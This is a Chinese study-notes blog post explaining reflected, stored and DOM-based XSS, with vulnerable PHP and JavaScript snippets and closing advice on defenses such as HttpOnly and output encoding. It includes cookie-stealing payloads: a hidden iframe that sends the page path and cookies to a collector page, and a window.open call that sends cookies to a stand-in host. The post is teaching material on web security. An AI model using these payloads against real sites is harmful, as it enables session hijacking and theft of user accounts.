安全学习笔记-web安全之XSS攻击
web安全之XSS攻击
XSS 即跨站脚本攻击,是 OWASP TOP10 之一。它的全称为 Cross-site scripting,因为 CSS 这个简称已经被占用表示为前端三剑客之一的CSS,所以简写为XSS。
原理
浏览器将用户输入的恶意内容当做脚本去执行,从而导致了恶意功能的执行,这是一种客户端攻击方式,是网站应用程序的安全漏洞攻击,是脚本代码注入的一种。可分为三个类型:反射型、存储型、DOM型。
反射型XSS
先来看下面示例
<?php
$input = $_GET["info"];
echo "<div>".$input."</div>"
?>
当用户在前端获取值通过url传递给后端时,上面代码将显示用户传递参数。如下:
思考:当传递参数本身为恶意代码时将会有怎么样的效果?如下:
http://localhost:3000/php_stu/xss_some/xss01.php?info=<script>alert(/xss/)</script>
效果就是会执行js的alert函数:

如果将info=<script>alert(/xss/)</script>替换成复杂逻辑代码可以获取用户信息做一些操作。例如改成如下代码:
<script>
p = window.location.pathname;
c = document.cookie;
ifm = document.createElement("iframe");
document.body.appendChild(ifm);
ifm.width = 0;ifm.height = 0;
ifm.src = "http://localhost:3000/php_stu/xss_some/1.php?info=" + p + "&co" + c;
</script>
根据如上代码请求后发现我的1.php网站获取到了用户的网站路径和用户cookie:

总结:反射型XSS只是简单地把用户输入的数据”反射给浏览器“。也就是说,黑客往往需要诱导用户点击一个恶意链接(如钓鱼邮件等),才能进行攻击。因此反射型XSS也叫做非持久型XSS。
存储型XSS
存储型XSS会把用户输入的数据存储在服务器,这种XSS危害性更大。比如在博客网站上,一个人在自己的信息上写一段脚本。如”自我介绍<script>window.open("http://wwww.mysite.com?yourcookie=document.cookie")</script>“,而这个博客网站没有对自我介绍的内容进行正确的编码,当网站其他用户看到这个信息时,这个用户将会得到所有看他自我介绍的用户的会话cookie。更严重的是,如果攻击者的恶意代码可以自我扩散,特别是在社交网络上,就会形成蠕虫,早期的samy worm就是如此。
下面就是存储型XSS的一个应用场景:

基于DOM的XSS
基于DOM的XSS和反射型XSS原理基本上一样,不同的是基于DOM的XSS在服务器端没有办法控制,必须在客户端控制,因为不经过服务端,所以可以绕过WAF等的检测。DOM是前端HTML的概念,最好需先去了解下前端DOM树的概念。
比如有一网站代码如下:
<script>
function test() {
var inpStr = document.getElementById("usr").value;
document.getElementById("link").innerHTML = "<a href='"+inpStr+"' >testLink</a>";
}
</script>
<div id="link"></div>
<input type="text" id="usr" value="" />
<input type="button" id="tmp" value="show" onclick="test()" />
效果如下:

点击show按钮之后生产一个超链接:

如果我在input输入框内输入如下字符串' onclick=alert(/xss/) '将得到如下效果:
得到的超链接标签内容为<a href='' onclick=alert(/xss/) ''> testLink</a>
跨站(XSS)盲打
这里再介绍下XSS盲打,XSS盲打就是尽可能地于一切可能的地方提交XSS语句,比如某些网站用户给站长投信反馈意见,如果管理员看到此xss语句就能获取到管理员的cookie信息。
XSS防范
HttpOnly
HttpOnly由微软提出,在IE6中实现,目前主流浏览器都支持,意思是浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie。这样HttpOnly可以有效防止Cookie劫持。
转义特殊字符
- '&'
- '"'
- '''
- '<'
- '>'
安全编码
对后端传输到前端的输出进行编码,防止其被解析成为动态内容。比如php编程里的htmlentities()和htmlspecialchars()函数,python中django模板里的escape等。
总的来说坚持输入和输出不可信。
安全学习笔记-web安全之XSS攻击的更多相关文章
- 第二天学习笔记:(MDN HTML学习、web安全策略与常见攻击、语义化)
一:Web入门 1:web文件命名 在文件名中应使用连字符(-).搜索引擎把连字符当作一个词的分隔符, 但不会以这种方式处理下划线. 养成在文件夹和文件名中使用小写,并且使用短横线而不是空格来分隔的习 ...
- Web安全测试学习笔记-DVWA-存储型XSS
XSS(Cross-Site Scripting)大致分为反射型和存储型两种,之前对XSS的认知仅停留在如果网站输入框没有屏蔽类似<script>alert('ok')</scrip ...
- WEB安全测试之XSS攻击
目录结构 1.背景知识 2.XSS漏洞的分类 3.XSS防御 4.如何测试XSS漏洞 5.HTML Encode 6.浏览器中的XSS过滤器 7.ASP.NET中的XSS安全机制 一.背景知识 1.什 ...
- 记一次JAVA WEB项目解决XSS攻击的办法(亲测有效)
什么是XSS攻击 简单来说,XSS 攻击是页面被注入了恶意的代码,度娘一大堆的东西,不想说 系统架构主要是SSM框架,服务层另外使用了DubboX. 为啥说这个,因为SpringMVC对于Xss攻 ...
- Web 安全之 XSS 攻击与防御
前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...
- web安全之xss攻击
xss攻击的全称是Cross-Site Scripting (XSS)攻击,是一种注入式攻击.基本的做法是把恶意代码注入到目标网站.由于浏览器在打开目标网站的时候并不知道哪些脚本是恶意的,所以浏览器会 ...
- web安全之XSS攻击原理及防范
阅读目录 一:什么是XSS攻击? 二:反射型XSS 三:存储型XSS 四:DOM-based型XSS 五:SQL注入 六:XSS如何防范? 1. cookie安全策略 2. X-XSS-Protect ...
- 基于web站点的xss攻击
XSS(Cross Site Script),全称跨站脚本攻击,为了与 CSS(Cascading Style Sheet) 有所区别,所以在安全领域称为 XSS. XSS 攻击,通常指黑客通过 HT ...
- 常见Web安全漏洞--------XSS 攻击
1,XSS 攻击 XSS攻击使用Javascript脚本注入进行攻击 例如在提交表单后,展示到另一个页面,可能会受到XSS脚本注入,读取本地cookie远程发送给黑客服务器端. <script& ...
随机推荐
- js添加元素代码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- Java枚举使用笔记
原创:转载需注明原创地址 https://www.cnblogs.com/fanerwei222/p/11833790.html Java枚举简单使用示例: package com.shineyue. ...
- iframe父子页面相互调用方法,相互获取元素
父页面获取子页面 var childWin = document.getElementById('setIframe').contentWindow;//获取子页面窗口对象 childWin.send ...
- 重新认识Appium
一.重新认识Appium 找到了学习资料,却不知道怎么实现!!! 要如何实现呢? Appium完整案例值得参考:手把手搭建环境,其中安装和配置Mave这部分有点老了. 首先下载maven 官网地址 ...
- Solution -「CF 855G」Harry Vs Voldemort
\(\mathcal{Description}\) Link. 给定一棵 \(n\) 个点的树和 \(q\) 次加边操作.求出每次操作后,满足 \(u,v,w\) 互不相等,路径 \((u,w ...
- CentOS 7 编译部署LAMP环境
文章目录 1.需求以及环境准备 1.1.版本需求 1.2.环境准备 1.3.安装包准备 2.编译升级Openssl 2.1.查看当前Openssl版本 2.2.备份当前版本Openssl文件 2.3. ...
- 《手把手教你》系列技巧篇(六十八)-java+ selenium自动化测试 - 读写excel文件 - 下篇(详细教程)
1.简介 今天继续操作Excle,小伙伴或者童鞋们是不是觉得宏哥会介绍第三种工具操作Excle,今天不介绍了,有两种就够用了,其实一种就够用了,今天主要是来介绍如何使用不同的数据类型读取Excel文件 ...
- nginx拒绝国外IP访问
nginx拒绝国外IP访问方法很多,比如iptables,geoip模块,域名解析等等.这些方法不会相互冲突,可以结合起来一起使用. 今天来教大家利用两个小方法解决 域名解析禁止掉海外IP访问网站. ...
- 从.net开发做到云原生运维(零)——序
1. 为什么要写这个系列的文章 大家看到标题的时候肯定会感觉到困惑,这个标题里的两件事物好像并不是很搭.说到.net开发大家一般都会想到asp.net做网站,或者是wpf和winform这类桌面开发, ...
- 查看jQuery版本号
1. 看源码 2. 用方法 console.log($().jquery) console.log($.fn.jquery)